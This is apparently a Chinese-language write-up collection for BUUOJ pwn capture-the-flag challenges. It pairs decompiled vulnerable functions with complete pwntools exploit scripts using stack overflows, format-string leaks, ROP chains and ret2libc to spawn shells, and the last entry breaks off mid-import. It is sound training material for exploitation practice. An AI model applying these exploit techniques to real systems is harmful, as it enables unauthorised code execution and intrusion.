
rip
Information
- Category: Pwn
- Points: 1
Write-up
丢给 IDA 老婆分析,看到有一个危险函数 gets
,还有一个 fun
会返回 system("/bin/sh")
,保护全关。直接打,注意栈对齐。
Exploit
#!/usr/bin/python
from pwn import ROP, args, context, flat, gdb, process, remote
gdbscript = """b *main+32b *main+67c"""
FILE = "./pwn1"HOST, PORT = "node5.buuoj.cn", 27889
context(log_level="debug", binary=FILE, terminal="kitty")
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT)
if args.D: gdb.attach(target, gdbscript=gdbscript)
return target
def construct_payload(): elf = context.binary rop = ROP(elf)
payload = flat(b"A" * 0x17, rop.ret.address, elf.symbols["fun"])
return payload
def main(): target = launch() payload = construct_payload()
target.sendline(payload) target.interactive()
if __name__ == "__main__": main()
warmup_csaw_2016
Information
- Category: Pwn
- Points: 1
Write-up
int sprintf(char* buffer, const char* format, ...);
函数将格式化后的数据写入缓冲区,返回值是写入的字符数,不包括末尾的空字符 \0
。snprintf
加入了缓冲区大小检查以及自动截断,比 sprintf
更安全,虽然本题没考这个函数的安全性问题。
这里 vuln
的地址将被写入 buffer s
,然后 write
负责将 buffer s
中前九个字节,也就是 vuln
的地址输出到标准输出。
main
返回的是 gets
,我们通过这个 gets
覆盖返回地址,修改为白送的 vuln
的地址即可。
__int64 __fastcall main(int a1, char **a2, char **a3){ char s[64]; // [rsp+0h] [rbp-80h] BYREF _BYTE v5[64]; // [rsp+40h] [rbp-40h] BYREF
write(1, "-Warm Up-\n", 0xAuLL); write(1, "WOW:", 4uLL); sprintf(s, "%p\n", vuln); write(1, s, 9uLL); write(1, ">", 1uLL); return gets(v5);}
int vuln(){ return system("cat flag.txt");}
Exploit
#!/usr/bin/python
from pwn import args, context, flat, gdb, process, remote
gdbscript = """b *main+70b *main+129c"""
FILE = "./pwn-patched"HOST, PORT = "node5.buuoj.cn", 26553
context(log_level="debug", binary=FILE, terminal="kitty")
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT)
if args.D: gdb.attach(target, gdbscript=gdbscript)
return target
def construct_payload(leaked_addr): payload = flat(b"A" * 0x48, leaked_addr)
return payload
def main(): target = launch()
target.recvuntil(b"WOW:") leaked_addr = int(target.recvline().strip(), 16)
payload = construct_payload(leaked_addr)
target.sendline(payload) target.interactive()
if __name__ == "__main__": main()
ciscn_2019_n_1
Information
- Category: Pwn
- Points: 1
Write-up
通过 gets
将 v2
篡改为 11.28125
即可。
int func(){ _BYTE v1[44]; // [rsp+0h] [rbp-30h] BYREF float v2; // [rsp+2Ch] [rbp-4h]
v2 = 0.0; puts("Let's guess the number."); gets(v1); if ( v2 == 11.28125 ) return system("cat /flag"); else return puts("Its value should be 11.28125");}
第一次接触小数的处理问题,调试的时候,可以使用 p/f $xmm0
来查看这个寄存器的值,同理,使用 p
指令加上强制转换和解引用,可以检查地址处保存的小数值:
pwndbg> p/f $xmm0$1 = { v8_bfloat16 = {-0, 11.25, 0, 0, 0, 0, 0, 0}, v8_half = {-0, 2.6016, 0, 0, 0, 0, 0, 0}, v4_float = {11.28125, 0, 0, 0}, v2_double = {5.404878958234834e-315, 0}, v16_int8 = {0, -128, 52, 65, 0 <repeats 12 times>}, v8_int16 = {-0, 2.6016, 0, 0, 0, 0, 0, 0}, v4_int32 = {11.28125, 0, 0, 0}, v2_int64 = {5.404878958234834e-315, 0}, uint128 = 3.98770131343430171379e-4942}pwndbg> p/f $xmm0.v4_int32[0]$2 = 11.28125pwndbg> p *(float *)($rbp - 4)$3 = 11.28125
Exploit
#!/usr/bin/python
from pwn import args, context, flat, gdb, process, remote, struct
gdbscript = """b *func+58c"""
FILE = "./ciscn_2019_n_1"HOST, PORT = "node5.buuoj.cn", 25637
context(log_level="debug", binary=FILE, terminal="kitty")
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT)
if args.D: gdb.attach(target, gdbscript=gdbscript)
return target
def construct_payload(): payload = flat(b"A" * 0x2C, struct.pack("<f", 11.28125))
return payload
def main(): target = launch()
payload = construct_payload()
target.sendline(payload) target.interactive()
if __name__ == "__main__": main()
pwn1_sctf_2016
Information
- Category: Pwn
- Points: 1
Write-up
int vuln(){ const char *v0; // eax int v2; // [esp+8h] [ebp-50h] char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF _BYTE v4[4]; // [esp+3Ch] [ebp-1Ch] BYREF _BYTE v5[7]; // [esp+40h] [ebp-18h] BYREF char v6; // [esp+47h] [ebp-11h] BYREF _BYTE v7[7]; // [esp+48h] [ebp-10h] BYREF _BYTE v8[5]; // [esp+4Fh] [ebp-9h] BYREF
printf("Tell me something about yourself: "); fgets(s, 32, edata); std::string::operator=(&input, s); std::allocator<char>::allocator(&v6); std::string::string(v5, "you", &v6); std::allocator<char>::allocator(v8); std::string::string(v7, "I", v8); replace((std::string *)v4, (std::string *)&input, (std::string *)v7); std::string::operator=(&input, v4, v2, v5); std::string::~string(v4); std::string::~string(v7); std::allocator<char>::~allocator(v8); std::string::~string(v5); std::allocator<char>::~allocator(&v6); v0 = (const char *)std::string::c_str((std::string *)&input); strcpy(s, v0); return printf("So, %s\n", s);}
从上面代码可知,fegts
读取了 32 个字符到 buffer s
,其中 \0
占了一个位置,所以我们可以输入的有 31 个字符。
接着,replace
会将 buffer s
中的字符 I
替换为 you
,返回修改后的字符串,赋给 input
;v0
是 input.c_str()
的结果,其中 c_str()
的功能是 Returns a pointer to a null-terminated character array with data equivalent to those stored in the string.
这个结果被 strcpy
复制到 buffer s
,由于 strcpy
不会检查 buffer 大小,所以可能造成溢出,溢出后我们篡改返回地址返回到后门函数 get_flag
即可。
这个 replace
函数怎么说呢……反正我是没自己读反编译的代码,没学过 C++
,看着头好大……我做这题的时候刚开始是看见 vuln
中有涉及 replace
的字眼,就觉得可能会对字符串做一些替换修改的操作吧。接着看到代码中出现的 you
,I
这样的字符串常量,直接运行程序拿这些内容去试试,发现输入 I
会被替换成 you
,那 replace
的作用不用看也猜得差不多了。最后,闲的没事,我让 GPT 分析了一下 replace
的功能,和猜的也差不多。太菜了呜呜呜……
std::string *__stdcall replace(std::string *a1, std::string *a2, std::string *a3){ int v4; // [esp+Ch] [ebp-4Ch]42 collapsed lines
_BYTE v5[4]; // [esp+10h] [ebp-48h] BYREF _BYTE v6[7]; // [esp+14h] [ebp-44h] BYREF char v7; // [esp+1Bh] [ebp-3Dh] BYREF int v8; // [esp+1Ch] [ebp-3Ch] _BYTE v9[4]; // [esp+20h] [ebp-38h] BYREF int v10; // [esp+24h] [ebp-34h] BYREF int v11; // [esp+28h] [ebp-30h] BYREF char v12; // [esp+2Fh] [ebp-29h] BYREF _DWORD v13[2]; // [esp+30h] [ebp-28h] BYREF _BYTE v14[4]; // [esp+38h] [ebp-20h] BYREF int v15; // [esp+3Ch] [ebp-1Ch] _BYTE v16[4]; // [esp+40h] [ebp-18h] BYREF int v17; // [esp+44h] [ebp-14h] BYREF _BYTE v18[4]; // [esp+48h] [ebp-10h] BYREF _BYTE v19[8]; // [esp+4Ch] [ebp-Ch] BYREF
while ( std::string::find(a2, a3, 0) != -1 ) { std::allocator<char>::allocator(&v7); v8 = std::string::find(a2, a3, 0); std::string::begin((std::string *)v9); __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v10); std::string::begin((std::string *)&v11); std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(v6, v11, v10, &v7); std::allocator<char>::~allocator(&v7); std::allocator<char>::allocator(&v12); std::string::end((std::string *)v13); v13[1] = std::string::length(a3); v15 = std::string::find(a2, a3, 0); std::string::begin((std::string *)v16); __gnu_cxx::__normal_iterator<char *,std::string>::operator+(v14); __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v17); std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(v5, v17, v13[0], &v12); std::allocator<char>::~allocator(&v12); std::operator+<char>((std::string *)v19); std::operator+<char>((std::string *)v18); std::string::operator=(a2, v18, v5, v4); std::string::~string(v18); std::string::~string(v19); std::string::~string(v5); std::string::~string(v6); } std::string::string(a1, a2); return a1;}
Exploit
#!/usr/bin/python
from pwn import args, context, flat, gdb, process, remote
gdbscript = """b *vuln+42c"""
FILE = "./pwn1_sctf_2016"HOST, PORT = "node5.buuoj.cn", 28688
context(log_level="debug", binary=FILE, terminal="kitty")
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT)
if args.D: gdb.attach(target, gdbscript=gdbscript)
return target
def construct_payload(): elf = context.binary
payload = flat(b"I" * 21 + b"A", elf.symbols["get_flag"])
return payload
def main(): target = launch()
payload = construct_payload()
target.sendline(payload) target.interactive()
if __name__ == "__main__": main()
jarvisoj_level0
Information
- Category: Pwn
- Points: 1
Write-up
闹着玩呢?不写了,和第一题差不多。
Exploit
#!/usr/bin/python
from pwn import ROP, args, context, flat, gdb, process, remote
gdbscript = """c"""
FILE = "./level0"HOST, PORT = "node5.buuoj.cn", 27572
context(log_level="debug", binary=FILE, terminal="kitty")
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT)
if args.D: gdb.attach(target, gdbscript=gdbscript)
return target
def construct_payload(): elf = context.binary rop = ROP(elf)
payload = flat(b"A" * 0x88, rop.ret.address, elf.symbols["callsystem"])
return payload
def main(): target = launch()
payload = construct_payload()
target.sendline(payload) target.interactive()
if __name__ == "__main__": main()
[第五空间 2019 决赛] PWN5
Information
- Category: Pwn
- Points: 1
Write-up
int __cdecl main(int a1){ time_t v1; // eax int result; // eax int fd; // [esp+0h] [ebp-84h] char nptr[16]; // [esp+4h] [ebp-80h] BYREF char buf[100]; // [esp+14h] [ebp-70h] BYREF unsigned int v6; // [esp+78h] [ebp-Ch] int *v7; // [esp+7Ch] [ebp-8h]
v7 = &a1; v6 = __readgsdword(0x14u); setvbuf(stdout, 0, 2, 0); v1 = time(0); srand(v1); fd = open("/dev/urandom", 0); read(fd, &dword_804C044, 4u); printf("your name:"); read(0, buf, 0x63u); printf("Hello,"); printf(buf); printf("your passwd:"); read(0, nptr, 0xFu); if ( atoi(nptr) == dword_804C044 ) { puts("ok!!"); system("/bin/sh"); } else { puts("fail"); } result = 0; if ( __readgsdword(0x14u) != v6 ) sub_80493D0(); return result;}
核心逻辑是判断 atoi(nptr) == dword_804C044
,因此只要我们需要知道 dword_804C044
的值,就可以拿到 shell
。
这题完全就是考了个格式化字符串漏洞,read(fd, &dword_804C044, 4u);
将随机数读取到 bss
段,所以我们只要想办法泄漏 bss
中保存的 dword_804C044
的值就好了。dword_804C044
的地址可以通过 bss
段基地址加上 debug 出来的数据偏移计算得到。把泄漏的地址和格式化字符串一起作为输入发送,用 %s
来输出栈上保存的地址所指向的值。
Exploit
#!/usr/bin/python
from pwn import args, context, flat, gdb, process, remote, u32
gdbscript = """b *0x80492bcb *0x80492f0c"""
FILE = "./pwn"HOST, PORT = "node5.buuoj.cn", 26163
context(log_level="debug", binary=FILE, terminal="kitty")
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT)
if args.D: gdb.attach(target, gdbscript=gdbscript)
return target
def rev_atoi(data): return str(u32(data)).encode()
def construct_payload(): elf = context.binary
payload = flat(b"aa%12$s\x00", elf.bss() + 0x4)
return payload
def main(): target = launch()
payload = construct_payload()
target.sendlineafter(b"your name:", payload) target.recvuntil(b"aa")
passwd = rev_atoi(target.recv(0x4))
target.sendlineafter(b"your passwd:", passwd) target.interactive()
if __name__ == "__main__": main()
jarvisoj_level2
Information
- Category: Pwn
- Points: 1
Write-up
ssize_t vulnerable_function(){ _BYTE buf[136]; // [esp+0h] [ebp-88h] BYREF
system("echo Input:"); return read(0, buf, 256u);}
观察上面程序,read
可以溢出破坏返回地址。由于这是 32-bit 程序,函数参数通过栈来传递,所以我们可以覆盖返回地址为 system@plt
,然后在栈上写传给 system
的参数。
我们希望拿 shell
,直接 IDA Shift + F12
看程序包含的字符串,发现有 .data:0804A024 hint db '/bin/sh',0
,那么参数问题就解决了,因为没开 PIE,直接就是固定地址。
需要注意的是,如果你返回到 call system@plt
这样的内部指令,由于 call
指令会自动将下一条指令的地址压入栈中,作为函数调用结束后的返回地址,所以你可以直接在它之后写要传入的参数;而如果选择返回到 system@plt
,那就需要手动提供一个地址作为函数调用结束后的返回地址,之后才是跟着函数的参数。
即,call
指令可以分解为 push eip_next; jmp <entry>
,而返回到 system@plt
相当于直接 jmp system@plt
,没有设置返回地址。
Exploit
#!/usr/bin/python
from pwn import args, context, flat, gdb, process, remote
gdbscript = """set follow-fork-mode parentb *vulnerable_function+42b *vulnerable_function+52c"""
FILE = "./level2"HOST, PORT = "node5.buuoj.cn", 25976
context(log_level="debug", binary=FILE, terminal="kitty")
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT)
if args.D: gdb.attach(target, gdbscript=gdbscript)
return target
def construct_payload(): elf = context.binary
payload = flat( b"A" * 0x8C, elf.plt["system"], 0x0, # return address placeholder next(elf.search(b"/bin/sh")), )
return payload
def main(): target = launch()
payload = construct_payload()
target.sendline(payload) target.interactive()
if __name__ == "__main__": main()
ciscn_2019_n_8
Information
- Category: Pwn
- Points: 1
Write-up
int __cdecl main(int argc, const char **argv, const char **envp){ int v4; // [esp-14h] [ebp-20h] int v5; // [esp-10h] [ebp-1Ch]
var[13] = 0; var[14] = 0; init(); puts("What's your name?"); __isoc99_scanf("%s", var, v4, v5); if ( *(_QWORD *)&var[13] ) { if ( *(_QWORD *)&var[13] == 17LL ) system("/bin/sh"); else printf( "something wrong! val is %d",23 collapsed lines
var[0], var[1], var[2], var[3], var[4], var[5], var[6], var[7], var[8], var[9], var[10], var[11], var[12], var[13], var[14]); } else { printf("%s, Welcome!\n", var); puts("Try do something~"); } return 0;}
__isoc99_scanf((int)"%s", (int)var, v4, v5);
存在栈溢出漏洞,因为没有限制 %s
可以读取的字符数。这里 IDA 反编译出来多了两个无关的参数 v4
和 v5
,直接忽视就好了。后面两个条件判断,第一个 *(_QWORD *)&var[13]
是将 &var[13]
处的八字节,解释成一个整数,看它的值是否为 0
,不为零则进入下一个判断;*(_QWORD *)&var[13] == 0x11LL
,看 &var[13]
这个地址处的八字节整数是否为 0x11
,成立则 getshell
。
Exploit
#!/usr/bin/python
from pwn import args, context, flat, gdb, p64, process, remote
gdbscript = """b *main+100b *main+105c"""
FILE = "./ciscn_2019_n_8"HOST, PORT = "node5.buuoj.cn", 29741
context(log_level="debug", binary=FILE, terminal="kitty")
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT)
if args.D: gdb.attach(target, gdbscript=gdbscript)
return target
def construct_payload(): payload = flat(b"A" * 52, p64(0x11))
return payload
def main(): target = launch()
payload = construct_payload()
target.sendline(payload) target.interactive()
if __name__ == "__main__": main()
bjdctf_2020_babystack
Information
- Category: Pwn
- Points: 1
Write-up
int __fastcall main(int argc, const char **argv, const char **envp){ _BYTE buf[12]; // [rsp+0h] [rbp-10h] BYREF size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF
setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL); LODWORD(nbytes) = 0; puts("**********************************"); puts("* Welcome to the BJDCTF! *"); puts("* And Welcome to the bin world! *"); puts("* Let's try to pwn the world! *"); puts("* Please told me u answer loudly!*"); puts("[+]Are u ready?"); puts("[+]Please input the length of your name:"); __isoc99_scanf("%d", &nbytes); puts("[+]What's u name?"); read(0, buf, (unsigned int)nbytes); return 0;}
read
读取多少字符是通过 __isoc99_scanf
控制的。
Exploit
#!/usr/bin/python
from pwn import ROP, args, context, flat, gdb, process, remote
gdbscript = """b *main+197b *main+208c"""
FILE = "./bjdctf_2020_babystack"HOST, PORT = "node5.buuoj.cn", 29741
context(log_level="debug", binary=FILE, terminal="kitty")
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT)
if args.D: gdb.attach(target, gdbscript=gdbscript)
return target
def construct_payload(): elf = context.binary rop = ROP(elf)
payload = flat(b"A" * 0x18, rop.ret.address, elf.symbols["backdoor"])
return payload
def main(): target = launch()
payload = construct_payload()
target.sendlineafter(b"your name:", b"1337") target.sendlineafter(b"What's u name?", payload) target.interactive()
if __name__ == "__main__": main()
ciscn_2019_c_1
Information
- Category: Pwn
- Points: 1
Write-up
程序的 main
函数里没什么有用的信息,重点看下面的 encrypt
函数。
int encrypt(){ size_t v0; // rbx char s[48]; // [rsp+0h] [rbp-50h] BYREF __int16 v3; // [rsp+30h] [rbp-20h]
memset(s, 0, sizeof(s)); v3 = 0; puts("Input your Plaintext to be encrypted"); gets(s); while ( 1 ) { v0 = (unsigned int)x; if ( v0 >= strlen(s) ) break; if ( s[x] <= 96 || s[x] > 122 ) { if ( s[x] <= 64 || s[x] > 90 ) { if ( s[x] > 47 && s[x] <= 57 ) s[x] ^= 0xFu; } else { s[x] ^= 0xEu; } } else { s[x] ^= 0xDu; } ++x; } puts("Ciphertext"); return puts(s);}
基本就是把输入字符串经过一些 xor
运算,得到密文。注意到获取输入使用的是 gets
,所以我们可以覆盖返回地址。程序没有包含任何后门函数,所以我们可以打 shellcode 或者 ROP,但是程序开了 NX,而且 ropper 也没有给出什么 syscall 之类的构造 ROP 链的 gadgets,那就打 ret2plt 泄漏 libc 地址,再打 ret2libc getshell.
不过我们的 payload 经过 encrypt
的加密会被破坏,所以一个想法是想办法让我们的输入经过 encrypt
的加密出来得到的是 payload 本身,另一种想法是想办法绕过加密逻辑。前者比较麻烦,我们优先思考后者。发现执行加密逻辑前有个判断,如果满足 if ( v0 >= strlen(s) )
就不会执行加密逻辑。字符串长度是通过 strlen
获取的,这个函数判断字符串结束的方法是检测 \x00
字符,所以如果我们把 \x00
放在 payload 开头,这个判断就会认为我们的字符串长度为 0,不去执行下面的加密逻辑,成功绕过。
因为 encrypt
是返回到 puts(s)
,由于在此之前我们已经执行过 puts
了,所以 got 表中一定有它在 libc 中的真实地址。所以我们可以通过 puts
泄漏 puts@got
中保存的真实地址,然后算出 libc 基地址,再用 libc 中的 system
和 /bin/sh
字符串构造 getshell 的 ROP 链。
由于我们返回到 puts
泄漏完地址后程序就结束了,所以我们在第一阶段泄漏出地址后需要让程序返回到 main
,重新运行主菜单逻辑(只要程序没有 exit,就不会改变 libc 基址),之后再把第二阶段的 ROP 链发出去。
由于题目没给 libc,所以远程需要用 LibcSearcher
来打。本地打的时候直接用系统的 libc,等本地通了再改成 LibcSearcher
去打远端,直接用 LibcSearcher
打不通本地,可能因为 libc-database 更新不及时,没有我们本地的 libc 版本。
Exploit
#!/usr/bin/python
from pwn import ROP, args, context, flat, gdb, log, process, remote, u64
from LibcSearcher.LibcSearcher import LibcSearcher
gdbscript = """# b *encrypt+61# b *encrypt+322# b *encrypt+334c"""
FILE = "./ciscn_2019_c_1"HOST, PORT = "node5.buuoj.cn", 28304
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def to_hex_bytes(data): return "".join(f"\\x{byte:02x}" for byte in data)
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT)
if args.D: gdb.attach(target, gdbscript=gdbscript)
return target
def construct_payload(stage, libc, libc_base): rop = ROP(elf)
if stage == 1: return flat( b"\x00", b"A" * 0x57, rop.rdi.address, elf.got["puts"], elf.plt["puts"], elf.symbols["main"], ) elif stage == 2: return flat( b"\x00", b"A" * 0x57, rop.rdi.address, libc_base + libc.dump("str_bin_sh"), rop.ret.address, libc_base + libc.dump("system"), 0x0, ) else: log.error(b"Failed constructing payload!")
def main(): target = launch()
payload = construct_payload(1, None, None)
target.sendlineafter(b"Input your choice!", b"1") target.sendline(payload) target.recvuntil(b"Ciphertext")
leaked_puts = u64(target.recv(0x8).strip().ljust(8, b"\x00")) libc = LibcSearcher("puts", leaked_puts) libc_base = leaked_puts - libc.dump("puts")
log.success(f"libc base: {hex(libc_base)}")
payload = construct_payload(2, libc, libc_base)
target.sendlineafter(b"Input your choice!", b"1") target.sendline(payload) target.interactive()
if __name__ == "__main__": main()
jarvisoj_level2_x64
Information
- Category: Pwn
- Points: 1
Write-up
vulnerable_function
有一个 BOF,我们用它覆盖 retaddr 构造 ROP Chain,由于会返回到 system("echo 'Hello World!'")
,我们只要想办法改掉 rdi 即可。这里没有发现获得栈地址的方法,把 /bin/sh
写入栈上不行。但是 IDA 搜索字符串发现程序本身包含 /bin/sh
字符串,没 PIE,直接拿来用。
Exploit
#!/usr/bin/env python3
from pwn import ROP, args, context, flat, p64, process, raw_input, remote
FILE = "./level2_x64"HOST, PORT = "node5.buuoj.cn", 27792
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) return target
def main(): target = launch()
rop = ROP(elf) payload = flat( b"A" * 0x88, p64(rop.rdi.address), 0x600A90, p64(rop.ret.address), elf.plt["system"], )
raw_input() target.sendline(payload) target.interactive()
if __name__ == "__main__": main()
get_started_3dsctf_2016
Information
- Category: Pwn
- Points: 1
Write-up
main 中 gets
BOF,覆盖返回地址为 get_flag
即可。但是这个函数会检测传入的两个参数,我们需要把参数设置好。
本地打通了,打远程的时候遇到 timeout: the monitored command dumped core
,有几种说法是:栈没对齐;程序没正常退出。这里我们给 get_flag
设置返回到 exit
就行。
Exploit
#!/usr/bin/env python3
from pwn import args, context, flat, p32, process, raw_input, remote
FILE = "./get_started_3dsctf_2016"HOST, PORT = "node5.buuoj.cn", 25782
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) return target
def main(): target = launch()
payload = flat( b"A" * 0x38, elf.sym["get_flag"], p32(0x0804E6A0), p32(814536271), p32(425138641), )
# raw_input() target.sendline(payload) target.interactive()
if __name__ == "__main__": main()
[HarekazeCTF2019]baby_rop
Information
- Category: Pwn
- Points: 1
Write-up
和前面 jarvisoj_level2_x64
差不多。
Exploit
#!/usr/bin/env python3
from pwn import ROP, args, context, flat, process, raw_input, remote
FILE = "./babyrop"HOST, PORT = "node5.buuoj.cn", 28698
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) return target
def main(): target = launch()
rop = ROP(elf) payload = flat( b"A" * 0x18, rop.rdi.address, next(elf.search(b"/bin/sh")), rop.ret.address, elf.plt["system"], )
# raw_input() target.sendline(payload) target.interactive()
if __name__ == "__main__": main()
others_shellcode
Information
- Category: Pwn
- Points: 1
Write-up
怕不是签到题?
Exploit
#!/usr/bin/env python3
from pwn import args, context, process, remote
FILE = "./shell_asm"HOST, PORT = "node5.buuoj.cn", 28960
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) return target
def main(): target = launch()
# raw_input() target.interactive()
if __name__ == "__main__": main()
[OGeek2019]babyrop
Information
- Category: Pwn
- Points: 1
Write-up
strlen
检测到 \x00
就结束,所以先通过 \x00
绕过 strncmp
。之后将 buf[7]
处的一字节有符号整数转换为无符号数返回,如果这里是 -1
就会返回很大的数。
int __cdecl sub_804871F(int buffer){ size_t len; // eax char s[32]; // [esp+Ch] [ebp-4Ch] BYREF char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF ssize_t v5; // [esp+4Ch] [ebp-Ch]
memset(s, 0, sizeof(s)); memset(buf, 0, sizeof(buf)); sprintf(s, "%ld", buffer); v5 = read(0, buf, 32u); buf[v5 - 1] = 0; len = strlen(buf); if ( strncmp(buf, s, len) ) exit(0); write(1, "Correct\n", 8u); return (unsigned __int8)buf[7];}
sub_80487D0
将上一个函数的返回值作为参数,如果等于 127
就执行第一个 read
,否则执行第二个 read
。由于我们在 buf[7]
处保存 -1
,会返回 0xffffffff
,所以我们获得了一个很大的 BOF 空间。
ssize_t __cdecl sub_80487D0(char a1){ _BYTE buf[231]; // [esp+11h] [ebp-E7h] BYREF
if ( a1 == 127 ) return read(0, buf, 200u); else return read(0, buf, a1);}
思路是绕过 sub_804871F
的 strncmp
后,拿到一个很大的栈溢出,通过 sub_80487D0
的 read(0, buf, a1)
构造 ROP,利用 puts
泄漏 libc,puts
返回到 main
触发二次输入,同理先绕检测,然后构造 getshell 的 ROP Chain.
Exploit
#!/usr/bin/env python3
from pwn import ELF, args, context, flat, p32, process, remote, u32
FILE = "./challenge"HOST, PORT = "node5.buuoj.cn", 26812
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binarylibc = ELF("./libc-2.23.so")
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) return target
def main(): target = launch()
payload_1 = b"\x00" * 0x7 + b"\xff" + b"\x00" target.send(payload_1) target.recvuntil(b"\x0a") payload = flat(b"A" * 0xEB, elf.plt["puts"], p32(elf.sym["main"]), elf.got["puts"]) target.send(payload) libc.address = u32(target.recv(0x4)) - libc.sym["puts"]
target.send(payload_1) target.recvuntil(b"\x0a") payload = flat(b"A" * 0xEB, libc.sym["system"], 0, next(libc.search(b"/bin/sh"))) target.send(payload) target.interactive()
if __name__ == "__main__": main()
ciscn_2019_n_5
Information
- Category: Pwn
- Points: 1
Write-up
一个保护都没开,本来想打 ret2shellcode,但是奈何没给 libc,啥也不是!
无奈,只得使用好久没用过的 LibcSearcher
了 lol
Exploit
#!/usr/bin/env python3
from pwn import ( ROP, args, context, flat, process, raw_input, remote, u64,)
from LibcSearcher.LibcSearcher import LibcSearcher
FILE = "./ciscn_2019_n_5"HOST, PORT = "node5.buuoj.cn", 26903
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binaryrop = ROP(elf)
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) return target
def main(): target = launch()
# raw_input("DEBUG")
target.sendlineafter(b"name", b"") payload = flat( b"A" * 0x28, rop.rdi.address, elf.got["puts"], elf.plt["puts"], elf.sym["main"], ) target.sendlineafter(b"me?", payload)
target.recvline() leaked_puts = u64(target.recv(0x6).strip().ljust(0x8, b"\x00")) libc = LibcSearcher("puts", leaked_puts) libc_base = leaked_puts - libc.dump("puts")
payload = flat( b"A" * 0x28, rop.rdi.address, libc_base + libc.dump("str_bin_sh"), rop.ret.address, libc_base + libc.dump("system"), libc_base + libc.dump("exit"), ) target.sendlineafter(b"name", b"") target.sendlineafter(b"me?", payload)
target.interactive()
if __name__ == "__main__": main()
not_the_same_3dsctf_2016
Information
- Category: Pwn
- Points: 1
Write-up
BOF,ROP Chain,有后门函数 get_secret
,会将 flag 写入 bss,我们通过 write 输出 bss 内容即可。
Exploit
#!/usr/bin/env python3
from pwn import ( ROP, args, constants, context, flat, process, raw_input, remote,)
FILE = "./not_the_same_3dsctf_2016"HOST, PORT = "node5.buuoj.cn", 25163
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binaryrop = ROP(elf)
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) return target
def main(): target = launch()
# raw_input("DEBUG") payload = flat( b"A" * 0x2D, elf.sym["get_secret"], elf.sym["write"], elf.sym["exit"], constants.STDOUT_FILENO, elf.bss() + 0xAAD, 1337, ) target.sendline(payload)
target.interactive()
if __name__ == "__main__": main()
ciscn_2019_en_2
Information
- Category: Pwn
- Points: 1
Write-up
不理解,这题和 ciscn_2019_c_1 不是一样的吗?
Exploit
Same as ciscn_2019_c_1.
ciscn_2019_ne_5
Information
- Category: Pwn
- Points: 1
Write-up
// bad sp value at call has been detected, the output may be wrong!int __cdecl main(int argc, const char **argv, const char **envp){18 collapsed lines
int result; // eax int v4; // [esp+0h] [ebp-100h] BYREF char src[4]; // [esp+4h] [ebp-FCh] BYREF char v6[124]; // [esp+8h] [ebp-F8h] BYREF char s1[4]; // [esp+84h] [ebp-7Ch] BYREF _BYTE v8[96]; // [esp+88h] [ebp-78h] BYREF int *p_argc; // [esp+F4h] [ebp-Ch]
p_argc = &argc; setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); fflush(stdout); *(_DWORD *)s1 = 48; memset(v8, 0, sizeof(v8)); *(_DWORD *)src = 48; memset(v6, 0, sizeof(v6)); puts("Welcome to use LFS."); printf("Please input admin password:"); __isoc99_scanf("%100s", s1); if ( strcmp(s1, "administrator") ) { puts("Password Error!");30 collapsed lines
exit(0); } puts("Welcome!"); while ( 1 ) { puts("Input your operation:"); puts("1.Add a log."); puts("2.Display all logs."); puts("3.Print all logs."); printf("0.Exit\n:"); __isoc99_scanf("%d", &v4); switch ( v4 ) { case 0: exit(0); return result; case 1: AddLog((int)src); break; case 2: Display(src); break; case 3: Print(); break; case 4: GetFlag(src); break; default: continue; } }}
bypass password 没啥好说的,main 函数中 __isoc99_scanf("%100s", s1);
虽然可以破坏一些栈布局,但是程序下面有个 while 死循环,以致 main 不会返回,所以肯定不能通过这个输入构造 ROP Chain.
继续往下看,while 里面的 scanf 也没有漏洞,不过发现一个隐藏选项 4。一个一个看,AddLog
里面有一个 scanf,接收 128 字节,可以破坏栈布局,但是也不能用它构造 ROP Chain,因为AddLog
是返回读取到的字节数,返回后又是一轮循环。
int __cdecl AddLog(int a1){ printf("Please input new log info:"); return __isoc99_scanf("%128s", a1);}
Display
可以泄漏栈内容,或许有用,先放一边。
Print
里面调用了一个 system
,说明我们可以直接用 system@plt
调用这个函数。
GetFlag
将我们输入 buffer 的内容直接复制到 dest
,由于这个 dest
是局部数组,只有 4 字节空间,strcpy
没有安全检查,我们可以利用这一点篡改 GetFlag
栈帧的返回地址为 ROP Chain.
int __cdecl GetFlag(char *src){ char dest[4]; // [esp+0h] [ebp-48h] BYREF _BYTE v3[60]; // [esp+4h] [ebp-44h] BYREF
*(_DWORD *)dest = 48; memset(v3, 0, sizeof(v3)); strcpy(dest, src); return printf("The flag is your log:%s\n", dest);}
Exploit
#!/usr/bin/env python3
from pwn import ( args, context, fit, process, raw_input, remote,)
